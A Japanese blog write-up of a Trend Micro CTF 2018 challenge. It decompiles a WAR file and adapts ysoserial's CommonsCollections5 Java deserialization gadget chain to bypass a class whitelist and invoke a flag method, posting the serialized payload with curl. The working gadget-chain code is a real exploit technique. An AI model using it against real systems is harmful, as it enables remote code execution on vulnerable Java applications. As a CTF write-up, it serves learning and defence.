こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

Trend Micro CTF 2018 - Misc 300

問題文

The flag marshal has falsely imprisoned a flag for being a deserial killer. Your mission is simple, break the flag out of the marshal's jail (http://theflagmarshal.us-east-1.elasticbeanstalk.com/). In addition to the bad puns, you seem to have stumbled upon another clue, blueprint.war.

f:id:graneed:20180916124418p:plain

writeup

問題文から与えられたのは、URLとwarファイル。

URLにアクセスしても、檻に入ったフラグの画像のみ。

warファイルの調査

warファイルを、jd-guiで読む。 f:id:graneed:20180916124629p:plain

  • Flag.class
package com.trendmicro.jail;

import java.io.Serializable;

public class Flag
  implements Serializable
{
  static final long serialVersionUID = 6119813099625710381L;
  
  public static void getFlag()
    throws Exception
  {
    throw new Exception("<FLAG GOES HERE>");
  }
}

getFlagメソッドを呼ぶと、Flag文字列をメッセージにして例外を投げる。
よって、getFlagメソッドを呼ぶことがができれば、Flag文字列がStackTraceに出力されると思われる。

  • Server.class
package com.trendmicro;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet({"/jail"})
public class Server
  extends HttpServlet
{
  private static final long serialVersionUID = 1L;
  
  protected void doPost(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException
  {
    try
    {
      ServletInputStream is = request.getInputStream();
      ObjectInputStream ois = new CustomOIS(is);
      Person person = (Person)ois.readObject();
      ois.close();
      response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!.");
    }
    catch (Exception e)
    {
      response.setStatus(500);
      e.printStackTrace(response.getWriter());
    }
  }
}

/jailが受け取ったリクエストデータから、シリアライズされたオブジェクトのバイナリを受け取る。バイナリをデシリアライズしてPersonクラスにCastし、nameフィールドをメッセージ表示する。

  • Person.class
package com.trendmicro;

import java.io.Serializable;

public class Person
  implements Serializable
{
  public String name;
  
  public Person(String name)
  {
    this.name = name;
  }
}

nameフィールドのみ持つデータクラス。

  • CustomOIS.class
package com.trendmicro;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.Arrays;
import java.util.List;
import javax.servlet.ServletInputStream;

public class CustomOIS
  extends ObjectInputStream
{
  private static final String[] whitelist = { "javax.management.BadAttributeValueExpException", 
    "java.lang.Exception", 
    "java.lang.Throwable", 
    "[Ljava.lang.StackTraceElement;", 
    "java.lang.StackTraceElement", 
    "java.util.Collections$UnmodifiableList", 
    "java.util.Collections$UnmodifiableCollection", 
    "java.util.ArrayList", 
    "org.apache.commons.collections.keyvalue.TiedMapEntry", 
    "org.apache.commons.collections.map.LazyMap", 
    "org.apache.commons.collections.functors.ChainedTransformer", 
    "[Lorg.apache.commons.collections.Transformer;", 
    "org.apache.commons.collections.functors.ConstantTransformer", 
    "com.trendmicro.jail.Flag", 
    "org.apache.commons.collections.functors.InvokerTransformer", 
    "[Ljava.lang.Object;", 
    "[Ljava.lang.Class;", 
    "java.lang.String", 
    "java.lang.Object", 
    "java.lang.Integer", 
    "java.lang.Number", 
    "java.util.HashMap", 
    "com.trendmicro.Person" };
  
  public CustomOIS(ServletInputStream is)
    throws IOException
  {
    super(is);
  }
  
  public Class<?> resolveClass(ObjectStreamClass des)
    throws IOException, ClassNotFoundException
  {
    if (!Arrays.asList(whitelist).contains(des.getName())) {
      throw new ClassNotFoundException("Cannot deserialize " + des.getName());
    }
    return super.resolveClass(des);
  }
}

ObjectInputStreamを継承したクラス。 resolveClassメソッドをオーバーライドし、whitelistでデシリアライズ可能なオブジェクトの制限をかけている。

  • commons-collection-3.1.jar

Apache Commonsのライブラリ。以下の脆弱性に該当するバージョン。

Apache Commonsのcollectionsの脆弱性に関連するリンク集をまとめてみた。 - piyolog

攻略

commons-collection-3.1.jarが持つ脆弱性は、オブジェクト内にオブジェクトをデシリアライズするタイミングでリフレクションを実行することで、任意のクラスのメソッドを実行できてしまう脆弱性のようだ。

Exploitのソースをいくつか読む。

What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.

[Java] Commons Collections の「リモートから任意のコマンドが実行できる脆弱性」のお勉強

Exploitのソースは、Runtimeクラスのexecメソッドを呼んで任意のコマンドを実行しているが、この問題はFlagクラスのgetFlagメソッドを呼べれば勝ち。

まずは、シンプルにシリアライズしたオブジェクトをサーバに投げる方法を確認しておく。シリアライズしたオブジェクトをファイルに出力するJavaソースは以下。

package com.trendmicro;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class TestObjectGen {

    public static void main(String args[]) throws Exception {
        String path = "Person.ser";

        FileOutputStream fout = new FileOutputStream(path);
        ObjectOutputStream oos = new ObjectOutputStream(fout);
        oos.writeObject(new Person("hoge"));
        oos.close();

        FileInputStream fis = new FileInputStream(path);
        ObjectInputStream ois = new ObjectInputStream(fis);
        Person person = (Person) ois.readObject();
        System.out.println(person.name);
        ois.close();
    }
}

curlPerson.ser/jailに送信する。

root@kali:~# curl "http://theflagmarshal.us-east-1.elasticbeanstalk.com/jail" --data-binary @Person.ser
Sorry hoge. I cannot let you have the Flag!.

hogeと出たので成功。

Exploitのソースを改造し、呼び出すクラス・メソッドだけ変えてもうまくいかない。シリアライズしているInvocationHandlerクラスは、CustomOISのwhitelistに入っていないことが原因。同じ原理であれば別のクラスでも実行できるということなので、他のExploitのソースを探す。

Javaシリアライズ系のToolといえばysoserial。

GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

こちらのpayloadを漁ると、CommonsCollections5.javaで使用しているBadAttributeValueExpExceptionが、whitelistに入っている。これだ!

ysoserial/CommonsCollections5.java at master · frohoff/ysoserial · GitHub

Flag.getFlag()を呼ぶように改造する。

package com.trendmicro;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import com.trendmicro.jail.Flag;

public class PayloadObjectGen {

    public static void main(String args[]) throws Exception {
        String path = "Payload.ser";

        FileOutputStream fout = new FileOutputStream(path);
        ObjectOutputStream oos = new ObjectOutputStream(fout);
        oos.writeObject(getObject());
        oos.close();

        FileInputStream fis = new FileInputStream(path);
        ObjectInputStream ois = new ObjectInputStream(fis);

        String nameFromDisk = (String) ois.readObject();

        System.out.println(nameFromDisk);
        ois.close();

    }

    public static BadAttributeValueExpException getObject() throws Exception {
        final Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Flag.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                        new Object[] { "getFlag", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                        new Object[] { null, new Object[0] }),
                new ConstantTransformer(1) };

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        return val;
    }
}

試しに実行する。

Exception in thread "main" org.apache.commons.collections.FunctorException: InvokerTransformer: The method 'invoke' on 'class java.lang.reflect.Method' threw an exception
    at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132)
    at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
    at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151)
    at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:73)
    at org.apache.commons.collections.keyvalue.TiedMapEntry.toString(TiedMapEntry.java:131)
    at javax.management.BadAttributeValueExpException.readObject(Unknown Source)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
    at java.lang.reflect.Method.invoke(Unknown Source)
    at java.io.ObjectStreamClass.invokeReadObject(Unknown Source)
    at java.io.ObjectInputStream.readSerialData(Unknown Source)
    at java.io.ObjectInputStream.readOrdinaryObject(Unknown Source)
    at java.io.ObjectInputStream.readObject0(Unknown Source)
    at java.io.ObjectInputStream.readObject(Unknown Source)
    at com.trendmicro.PayloadObjectGen.main(PayloadObjectGen.java:35)
Caused by: java.lang.reflect.InvocationTargetException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
    at java.lang.reflect.Method.invoke(Unknown Source)
    at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:125)
    ... 15 more
Caused by: java.lang.reflect.InvocationTargetException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
    at java.lang.reflect.Method.invoke(Unknown Source)
    ... 20 more
Caused by: java.lang.Exception: <FLAG GOES HERE>★★★
    at com.trendmicro.jail.Flag.getFlag(Flag.java:9)
    ... 24 more

シリアライズのタイミングで例外が発生し、StackTraceに<FLAG GOES HERE>が表示された!

curlでサーバに送信する。

root@kali:~# curl "http://theflagmarshal.us-east-1.elasticbeanstalk.com/jail" --data-binary @Payload.ser 
org.apache.commons.collections.FunctorException: InvokerTransformer: The method 'invoke' on 'class java.lang.reflect.Method' threw an exception
    at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132)
    at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
    at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151)
    at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:73)
    at org.apache.commons.collections.keyvalue.TiedMapEntry.toString(TiedMapEntry.java:131)
    at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:498)
    at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170)
    at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2177)
    at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2068)
    at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1572)
    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:430)
    at com.trendmicro.Server.doPost(Server.java:31)
    at javax.servlet.http.HttpServlet.service(HttpServlet.java:661)
    at javax.servlet.http.HttpServlet.service(HttpServlet.java:742)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:493)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81)
    at org.apache.catalina.valves.RemoteIpValve.invoke(RemoteIpValve.java:685)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:650)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:800)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:800)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1471)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:748)
Caused by: java.lang.reflect.InvocationTargetException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:498)
    at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:125)
    ... 40 more
Caused by: java.lang.reflect.InvocationTargetException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:498)
    ... 45 more
Caused by: java.lang.Exception: TMCTF{15nuck9astTheF1agMarsha12day}★★★
    at com.trendmicro.jail.Flag.getFlag(Flag.java:10)
    ... 49 more

フラグゲット。
TMCTF{15nuck9astTheF1agMarsha12day}